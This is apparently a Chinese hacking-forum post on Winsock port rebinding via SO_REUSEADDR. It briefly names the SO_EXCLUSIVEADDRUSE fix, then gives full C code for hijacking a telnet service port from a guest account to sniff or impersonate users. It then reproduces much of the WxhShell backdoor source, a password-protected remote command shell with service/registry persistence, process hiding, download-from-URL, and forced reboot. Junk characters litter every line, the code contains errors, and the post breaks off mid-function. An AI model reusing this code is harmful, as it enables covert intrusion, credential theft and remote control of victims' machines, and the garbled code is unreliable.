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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !]D`|HoW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <%m1+%mA.  
-KfK~P3PF  
  saddr.sin_family = AF_INET; 4e AMb  
>b=."i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j&Xx{ 4v  
h*!oHS~/l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 33D2^ Sf6"  
=mPe wx'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %eIaH!x:  
wF%RM$  
  这意味着什么?意味着可以进行如下的攻击: rKFnivGT  
$M!iQ"bb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BKb#\(95*  
$U9]v5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q+*\'H>  
N|>JLZ>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .QZjJ9pvK  
yE,qLiH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Umzb  
>$- YNZA   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4cPZGZ{U  
+/RR!vG,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tK/,U =+  
Jp}\@T.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ok{1{EmP  
IpSWg  
  #include YwF&-~mp7n  
  #include )1Y?S;  
  #include !!V1#?0jw  
  #include    8Q)|8xpYS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v7KBYN  
  int main() {7]maOg>7J  
  { *) T"-}F  
  WORD wVersionRequested; v@q&B|0  
  DWORD ret; .|hsn6i/-  
  WSADATA wsaData; |3T2}ohrr  
  BOOL val; n^hkH1vY  
  SOCKADDR_IN saddr; >1Hv c7DP  
  SOCKADDR_IN scaddr;  8 zlvzp  
  int err; Z}>F V~4  
  SOCKET s; _(8#  
  SOCKET sc; !5?_)  
  int caddsize; _Z9 d.-  
  HANDLE mt; 4'*.3f'bp  
  DWORD tid;   _xm<zy{`S  
  wVersionRequested = MAKEWORD( 2, 2 ); }d>.Nj#zh  
  err = WSAStartup( wVersionRequested, &wsaData ); %*npLDi  
  if ( err != 0 ) { /^k%sG@?  
  printf("error!WSAStartup failed!\n"); V]+y*b.60  
  return -1; rTVv6:L  
  } ZN;ondp4  
  saddr.sin_family = AF_INET; ISFNP&& K  
   esBv,b?*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [r3sk24  
Eri007?D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $%"hhju  
  saddr.sin_port = htons(23); An0N'yo"Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '\op$t/  
  { jN*wbqL  
  printf("error!socket failed!\n"); {J,"iJKop  
  return -1; ^0}wmxDq  
  } jn ztCNaX  
  val = TRUE; 4:a ~Wlp[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a)=|{QR>W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (?^F }]  
  { ^p9V5o  
  printf("error!setsockopt failed!\n"); F!u)8>s+z{  
  return -1; {6RA~  
  } _a& Z$2O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rCczQ71W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0|j44e }  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G"-V6CA[  
D86F5HT}}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U\qbr.<  
  { b1i~F45h  
  ret=GetLastError(); e Ru5/y~  
  printf("error!bind failed!\n"); HK<S|6B7V  
  return -1; % 33O)<?  
  } pt3)yj&XE  
  listen(s,2); G/# <d-}_  
  while(1) [f  lK  
  { =P9rOK=  
  caddsize = sizeof(scaddr); k \T]*A  
  //接受连接请求 G<<; a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q(yg bT  
  if(sc!=INVALID_SOCKET) wXqwb|2  
  { iV?8'^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^lZ7%6  
  if(mt==NULL) pKj:)6t"  
  { Z]TQ+9t  
  printf("Thread Creat Failed!\n"); Y%eW6Y#  
  break; ^w``(-[*  
  } Vq`/]&  
  } p=> +3  
  CloseHandle(mt); cl&?'` )  
  } ~uZ9%UB_m  
  closesocket(s); _xi &%F/  
  WSACleanup(); j #P4&  
  return 0; /|UbYe,  
  }   DBcR1c&<H  
  DWORD WINAPI ClientThread(LPVOID lpParam) +4T.3Njjn  
  { 047PlS  
  SOCKET ss = (SOCKET)lpParam; Vn{;8hZ :a  
  SOCKET sc; dnwzf=+>e  
  unsigned char buf[4096]; I{U|'a  
  SOCKADDR_IN saddr; ts@$*  
  long num; 8,RqhT)2#  
  DWORD val; H*3u]Ebh  
  DWORD ret; Q#ksf h!D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DA>nYj-s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   piIz ff  
  saddr.sin_family = AF_INET; o~9*J)X5i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2 V\hG?<  
  saddr.sin_port = htons(23); >!" Sr3,L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1pDU}rPJ.  
  { :R:@V#Y  
  printf("error!socket failed!\n"); U"Bge\6x=  
  return -1; u #}1 M  
  } # .(f7~  
  val = 100; 6 ]<yR> '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C\BKdx5;  
  { S[/udA   
  ret = GetLastError(); G"u4]!$/  
  return -1; 2|RoN)%  
  } x$TL j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wG)[Ik6:  
  { g +gcH  
  ret = GetLastError(); xele;)Y  
  return -1; '@#(jY0_  
  } ~-lUS0duh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |r;>2b/ x  
  { e<`?$tZ3   
  printf("error!socket connect failed!\n"); >Jn`RsuV  
  closesocket(sc); lnjs{`^  
  closesocket(ss); o(l%k},a  
  return -1; )AdwA+-x  
  } :KG=3un]  
  while(1) tCR~z1  
  { r]D>p&4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }u0&>k|y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fiSX( 9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <GQ=PrT|/  
  num = recv(ss,buf,4096,0); gjnEN1T22  
  if(num>0) 'IIa,']H  
  send(sc,buf,num,0); $[MAm)c:]{  
  else if(num==0) KOXG=P0  
  break; 0~W XA=XG  
  num = recv(sc,buf,4096,0); Bv3B|D&+  
  if(num>0) '4u/g  
  send(ss,buf,num,0); &X` lh P  
  else if(num==0) d*k5h<jM  
  break; Rb:?%\=  
  } z+wegF  
  closesocket(ss); lAC "7 Z?F  
  closesocket(sc); Zj ^e8u=T  
  return 0 ; T<Zi67QC@  
  } 5i'?oXL  
L5KcI  
KY%qzq,n  
========================================================== a#CjGj)  
Ow5 VBw(  
下边附上一个代码,,WXhSHELL UMD\n<+cG,  
x 00'wY|  
========================================================== ZXiJ5BZ  
ttlMZLX{TJ  
#include "stdafx.h" Y@MxKKuj  
UM21Cfqex  
#include <stdio.h> kqo4 v;r  
#include <string.h> :2vuc!Pu  
#include <windows.h> j8^ #698X  
#include <winsock2.h> t*Z5{   
#include <winsvc.h> FBouXu#  
#include <urlmon.h> !lsa5w{  
c`lL&*]  
#pragma comment (lib, "Ws2_32.lib") /FPO'} 6i  
#pragma comment (lib, "urlmon.lib") Wk/Q~ o  
-Ks)1w>l  
#define MAX_USER   100 // 最大客户端连接数 7o!t/WEEq  
#define BUF_SOCK   200 // sock buffer {]m/15/$C  
#define KEY_BUFF   255 // 输入 buffer BAi0w{  
>nvK{6xR:  
#define REBOOT     0   // 重启 JHZjf7g$k  
#define SHUTDOWN   1   // 关机 Sz1J4$5  
~Ij/vyB_  
#define DEF_PORT   5000 // 监听端口 J#3[,~  
<KCyXU*  
#define REG_LEN     16   // 注册表键长度 ubVZEsoW?  
#define SVC_LEN     80   // NT服务名长度 M5_ t#[ [  
i 2uSPV!Tf  
// 从dll定义API THK^u+~LM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w&VDe(:~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /!p}H'jl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f;,*P,K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0blbf@XA  
f$dIPt(  
// wxhshell配置信息  fWs*u[S  
struct WSCFG { )_o^d>$da  
  int ws_port;         // 监听端口 ; }ThBb3  
  char ws_passstr[REG_LEN]; // 口令 z" ?WT$  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ]EQ*!  
  char ws_regname[REG_LEN]; // 注册表键名 p-DHTX  
  char ws_svcname[REG_LEN]; // 服务名 ICe;p V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \GioSg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cdSgb3B0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >+!Ef  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EaL>~: j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TpYh)=;k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pl`Nniy  
UL%a^' hR  
}; eC6wrpZO  
pY\ =f0]  
// default Wxhshell configuration 9GTp};Kg  
struct WSCFG wscfg={DEF_PORT, 7;Q4k"h  
    "xuhuanlingzhe", g\IwV+iDf  
    1, 3QdCu<eBZ  
    "Wxhshell", em- <V5fb  
    "Wxhshell", H5UF r,t  
            "WxhShell Service", V(io!8,  
    "Wrsky Windows CmdShell Service", Rs"G8Q9Q  
    "Please Input Your Password: ", "*MF=VB1  
  1, vO/3bu}  
  "http://www.wrsky.com/wxhshell.exe", Vu E$-)&)  
  "Wxhshell.exe" HN5,MD[  
    }; qFq$a9w|@  
BD^1V( I/  
// 消息定义模块 2vsV :LS.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m"'`$/_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +~y>22Zfg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,LmP >Q.  
char *msg_ws_ext="\n\rExit."; ~0?B  
char *msg_ws_end="\n\rQuit."; x_C0=Q|K3  
char *msg_ws_boot="\n\rReboot..."; MtoOIkQ  
char *msg_ws_poff="\n\rShutdown..."; %@TC- xx  
char *msg_ws_down="\n\rSave to "; =2} kiLKO  
vr2PCG[~  
char *msg_ws_err="\n\rErr!"; ),xD5~_=q  
char *msg_ws_ok="\n\rOK!"; &"J;  
wg\ p&avvb  
char ExeFile[MAX_PATH]; H5:f&m  
int nUser = 0; k6o8'6wN  
HANDLE handles[MAX_USER]; rQU6*f  
int OsIsNt; QH,(iX6RY  
"QiLu=Rq  
SERVICE_STATUS       serviceStatus; YB2gxZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x#R6Ez7  
?0+g.,9  
// 函数声明 G\V*j$}!  
int Install(void); &,{YfAxQ`  
int Uninstall(void); Jo~fri([%Q  
int DownloadFile(char *sURL, SOCKET wsh); 0!$y]Gr  
int Boot(int flag); 3 5L0 CM  
void HideProc(void); n%4/@M  
int GetOsVer(void); (-&d0a9N  
int Wxhshell(SOCKET wsl); +PKsiUJ|  
void TalkWithClient(void *cs); Y}<%~z#.4  
int CmdShell(SOCKET sock); MPw?HpM  
int StartFromService(void); S3E5^n\\  
int StartWxhshell(LPSTR lpCmdLine); GCfVH?Vx  
3Z&!zSK^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FC+h \  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D&~%w!  
Vry_X2  
// 数据结构和表定义 IvI..#EzG  
SERVICE_TABLE_ENTRY DispatchTable[] = \/V#,O  
{ X:g#&e_  
{wscfg.ws_svcname, NTServiceMain}, 'V&Uh]>  
{NULL, NULL} $ b53~  
}; r`h".=oD  
F*>#Xr~/  
// 自我安装 "h7Dye  
int Install(void) =]/<Kd}A.  
{ jF/S2Ty2  
  char svExeFile[MAX_PATH]; 8]R{5RGy  
  HKEY key; g]`YI5  
  strcpy(svExeFile,ExeFile); wEJzLFCn  
_5x]BH6f  
// 如果是win9x系统,修改注册表设为自启动 Ud e?[6  
if(!OsIsNt) { Y~UAE.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CXyb8z4/+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +"=ydF.9  
  RegCloseKey(key); 6DgdS5GhT_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oVPr`]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4neO$^i8J  
  RegCloseKey(key); ylQj2B,CB  
  return 0; SO[ u4b_"h  
    } [ K'gvLt1  
  } k6RVP: V  
} P+OS  
else { c$tX3ug6I  
:XG~AR /  
// 如果是NT以上系统,安装为系统服务 >V)"TZH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !@N?0@$/  
if (schSCManager!=0) uN>5Eh&=Pf  
{ vZ.<OD4  
  SC_HANDLE schService = CreateService < *;GJ{  
  ( jvL!pEC!  
  schSCManager, 9n;6zVV%`  
  wscfg.ws_svcname, 5$cjCjY  
  wscfg.ws_svcdisp, w-LENdw  
  SERVICE_ALL_ACCESS, :2,NKdD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \hBzP^*"n  
  SERVICE_AUTO_START, ~dpf1fP  
  SERVICE_ERROR_NORMAL, Qx8(w"k*  
  svExeFile, Z*UVbyC  
  NULL, .kPNWNrw  
  NULL, gt02Csdt  
  NULL, ;+6><O!G  
  NULL, Z[ (d7  
  NULL HTGLFY(&  
  ); A>2_I)  
  if (schService!=0) C])s'XTs  
  { ^+CHp(X  
  CloseServiceHandle(schService); E]GbLU;TH  
  CloseServiceHandle(schSCManager); 2{vAs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "*F`,I3  
  strcat(svExeFile,wscfg.ws_svcname); 9!W$S[ABRB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |('o g*$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X:;x5'|  
  RegCloseKey(key); '@ Rk#=85Z  
  return 0; &r4|WM/ec  
    } s*<T'0&w0S  
  } )`R}@(r.  
  CloseServiceHandle(schSCManager); %!(C?k!\  
} PM#3N2?|E  
} *vuI'EbM  
N!3Tg564j  
return 1; z8JW iRn  
} F@f4-NR>  
 -D'XxOI  
// 自我卸载 Bdb}4X rL  
int Uninstall(void) iRlZWgj4^  
{ ~"SQwE|  
  HKEY key; Y7r;}^+WY  
}l[e@6r F  
if(!OsIsNt) { U$& '>%#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vIOGDI>  
  RegDeleteValue(key,wscfg.ws_regname); K.Y`/<  
  RegCloseKey(key); ,1N|lyV   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /o'lGvw  
  RegDeleteValue(key,wscfg.ws_regname); y#iz$lX R  
  RegCloseKey(key); 4Yi kC  
  return 0; 4\ Xaou2V[  
  } -$[&{ .B.  
} 1Z @sh>X|  
} s_VcC_A  
else { 9*ZlNZ  
sg2%BkTI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rVoV@,P  
if (schSCManager!=0) Q+9:]Bt  
{ 2[qfF6FHA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d-+jb<C&  
  if (schService!=0) TaBya0-  
  { @=dv[P" jn  
  if(DeleteService(schService)!=0) { x0(bM g>7  
  CloseServiceHandle(schService); 2(@2 z[eKr  
  CloseServiceHandle(schSCManager); xwof[BnEZ  
  return 0;  ,S=[#  
  } rD SYR\cg  
  CloseServiceHandle(schService); #YE?&5t  
  } I@/ G#3Zr  
  CloseServiceHandle(schSCManager); A`f"<W-m  
} Fw\Z[nh  
} J#F5by%8  
K8X7IE  
return 1; f/#Id]B  
} n2B%}LLa  
1?FG3X 5  
// 从指定url下载文件 DMG~56cTO,  
int DownloadFile(char *sURL, SOCKET wsh) /ta}12Z  
{ K xX[8  
  HRESULT hr; yef\Y3X  
char seps[]= "/"; U,EoCAm>  
char *token; bAZoi0LR  
char *file; ;98b SR/  
char myURL[MAX_PATH]; ya8p 4N{_  
char myFILE[MAX_PATH]; ',0:/jSz  
xBTx`+%WS  
strcpy(myURL,sURL); nJN-U+)u  
  token=strtok(myURL,seps); M x#L|w`r  
  while(token!=NULL) \~E?;q!  
  { _) x{TnK  
    file=token; nXLz<wE  
  token=strtok(NULL,seps); j}ob7O&U'w  
  } 0@-4.IHl  
jj2iF/  
GetCurrentDirectory(MAX_PATH,myFILE); Intuda7e1  
strcat(myFILE, "\\"); b},2A'X  
strcat(myFILE, file); G^k'sgy.  
  send(wsh,myFILE,strlen(myFILE),0); 5+M,X kg  
send(wsh,"...",3,0); `5?0yXK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `z(o01y  
  if(hr==S_OK) CsA(oX  
return 0; vu*e*b$}  
else 2lpPN[~d  
return 1; ))|d~m  
^:{8z;w!(  
} xX%ppD7  
vF$( Y/  
// 系统电源模块 N<:c*X  
int Boot(int flag) ]|CcQ1#|H  
{ < bC'.m  
  HANDLE hToken; {wz)^A sy  
  TOKEN_PRIVILEGES tkp; ,^?g\&f(  
j9 >[^t3U  
  if(OsIsNt) { Unb2D4&'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lxp}o7>K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GLtWo+g0  
    tkp.PrivilegeCount = 1; {q)d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H_RfIX)X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'cpm 4mT  
if(flag==REBOOT) { &>Ve4!i q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hh^ "c}  
  return 0; =\%ER/  
} dXh[Ea^  
else { (`dz3 7@*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B<SE|~\2  
  return 0; (NLw#)?  
} D;0>-  
  } {O2=K#J  
  else { +s}&'V^  
if(flag==REBOOT) { q!:dZES  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [n[dr@J7v  
  return 0; R BHDfm'~7  
} P! +Gwm{  
else { z;1dMQ,#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T$D(Y`zdn  
  return 0; hE {";/}J  
} QGuqV8 y0  
} ?4R%z([X7  
$vu*# .w  
return 1; -n9&W  
} ^\ x'4!W  
fY&TI}Y  
// win9x进程隐藏模块 #!F>cez  
void HideProc(void) xA Ez1  
{ S<i1t[E @W  
w&L~+ Z<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O.B9w+G=  
  if ( hKernel != NULL ) 2/ 4zg  
  { 4C3_ gm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p$ \>3\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v ^h:E  
    FreeLibrary(hKernel); ~ZVz sNrx  
  } (BLxK)0<"  
l%EvXdZuOy  
return; AaYH(2m-  
} !ddyJJ^a  
Q[#}Oh6$  
// 获取操作系统版本 ?0t^7HMP  
int GetOsVer(void) L=#NUNiXr  
{ zfKO)Itd  
  OSVERSIONINFO winfo; } e$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h_(M#gG  
  GetVersionEx(&winfo); Wz' !stcp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) We{@0K/O  
  return 1; MMFg{8  
  else 1GK.:s6.f  
  return 0; /X_L>or  
} #Q!Xz2z2  
m:h6J''<Z*  
// 客户端句柄模块 o+Jnn"8  
int Wxhshell(SOCKET wsl) \+V"JIStUj  
{ nv_vFK  
  SOCKET wsh; I*N"_uKU  
  struct sockaddr_in client; -NJpql{Cb  
  DWORD myID; t/;0/ql\  
|qMG@  
  while(nUser<MAX_USER) I #1~CbR  
{ i1uoYb?4(I  
  int nSize=sizeof(client); ni2#20L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :+/8n+@#  
  if(wsh==INVALID_SOCKET) return 1; n!z!fh  
4 -tC=>>wc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S&}7XjY  
if(handles[nUser]==0) {d[Nc,AMb  
  closesocket(wsh); g}0K@z3  
else U&#` <R_0  
  nUser++; VP A+/5TW  
  } 9\.0v{&v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eI:[o  
? #rXc%F  
  return 0; qhY+<S9  
} wL8j i>"  
$L= Dky7  
// 关闭 socket `*vO8v  
void CloseIt(SOCKET wsh) l48$8Mgrr  
{ 'UsR/h5T  
closesocket(wsh); `TJhH<z"%  
nUser--; $Lj ]NtO  
ExitThread(0); SvSO?H!-  
} u&I c  
p*c(dkOe8  
// 客户端请求句柄 b y>%}#M  
void TalkWithClient(void *cs) Z2M(euzfi3  
{ +JtKVF  
,}IcQu'O  
  SOCKET wsh=(SOCKET)cs; f`Fj-<v  
  char pwd[SVC_LEN]; Acw`ytV  
  char cmd[KEY_BUFF]; q?7''xk7  
char chr[1]; xZ {6!=4!  
int i,j; 0E26J@jcZ7  
="$w8iRU  
  while (nUser < MAX_USER) { A.r7 ks  
~k&b  
if(wscfg.ws_passstr) { I4N7wnBp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zU!{_Ao9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J`5+Zngr  
  //ZeroMemory(pwd,KEY_BUFF); ura&9~   
      i=0; p"hO6b%V  
  while(i<SVC_LEN) { 1TQ?Fxj  
Xq$-&~   
  // 设置超时 @!")shc  
  fd_set FdRead; 4JK6<Pk  
  struct timeval TimeOut; nCi ]6;Y  
  FD_ZERO(&FdRead); W5Z-s.o  
  FD_SET(wsh,&FdRead); )r46I$]>  
  TimeOut.tv_sec=8; gg#9I(pX  
  TimeOut.tv_usec=0; Ll=G+cw6P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W~mo*EJ'^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f)_<Ih\/7_  
LKvX~68  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r:V bjmL  
  pwd=chr[0]; L!xFhVA<  
  if(chr[0]==0xd || chr[0]==0xa) { Q(f0S  
  pwd=0; Dh`&B   
  break; _5 SvZ;4  
  } 7310'wc  
  i++; E9\"@wu[d  
    } GbO j% a  
neu+h6#H  
  // 如果是非法用户,关闭 socket A>gZl)c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S Q:H2vvD  
} YWn""8p;P  
68?&`/t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R_G2C@y*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (m2%7f.I  
1SjVj9{:  
while(1) { q,ie)`  
<2]h$53y!  
  ZeroMemory(cmd,KEY_BUFF); u;9iuc` *  
c{Z "'t7  
      // 自动支持客户端 telnet标准   Xd:{.AXW  
  j=0; }K 'A/]'  
  while(j<KEY_BUFF) { SlB`ktcfI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PWS8Dpb  
  cmd[j]=chr[0]; H'3 pHb  
  if(chr[0]==0xa || chr[0]==0xd) { +>C26Q  
  cmd[j]=0; H&ek"nP_  
  break; C2R"96M7q  
  } BaIpX<$T  
  j++; nq?+b >//  
    } RTVU3fw  
4Vi*Qa_,y  
  // 下载文件 =b$g_+  
  if(strstr(cmd,"http://")) { 7Z2D}O +  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w aniCE o  
  if(DownloadFile(cmd,wsh)) lB _9b_|2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?H8w;Csq-  
  else 4e>f}u 5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?&0CEfa?  
  } FMCA~N  
  else { W2XWb<QSEV  
:a Cf@:']  
    switch(cmd[0]) { 9K}DmS  
  TkTGYh  
  // 帮助 fASklcQ  
  case '?': { x(u.(:V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -}TP)/ !,*  
    break; [cDDZ+6  
  } (zsmJe  
  // 安装 f ] *w1  
  case 'i': { @{qcu\sZ  
    if(Install()) H%n/;DW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.Ur~5r  
    else G0: <#?<5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w@2NXcmw  
    break; _K?v^oM#  
    } I;jH'._k#  
  // 卸载 br88b`L  
  case 'r': { :@ &e~QP(  
    if(Uninstall()) 2A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~L&z? 'V  
    else |goBIp[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ow?~+) 4  
    break; a?Fz&BE  
    } 1y[~xxgE  
  // 显示 wxhshell 所在路径 ^Vth;!o  
  case 'p': { Z .`+IN(>E  
    char svExeFile[MAX_PATH]; Yw=@*CK'  
    strcpy(svExeFile,"\n\r"); o&q:b9T  
      strcat(svExeFile,ExeFile); MA tF,  
        send(wsh,svExeFile,strlen(svExeFile),0); wIRU!lIF9  
    break; dW/(#KP/+  
    } )%Xp?H_  
  // 重启 _@\-`>J  
  case 'b': { 9r\p4_V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Se??E+aX  
    if(Boot(REBOOT)) UBv#z&@[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H '5zl^8I  
    else { -"yma_  
    closesocket(wsh); ax _v+v %  
    ExitThread(0); xPF.c,6b4=  
    } #lFsgb  
    break; 9_*3xu<7i  
    } ~]%re9jGW  
  // 关机 rr1,Ijh{D  
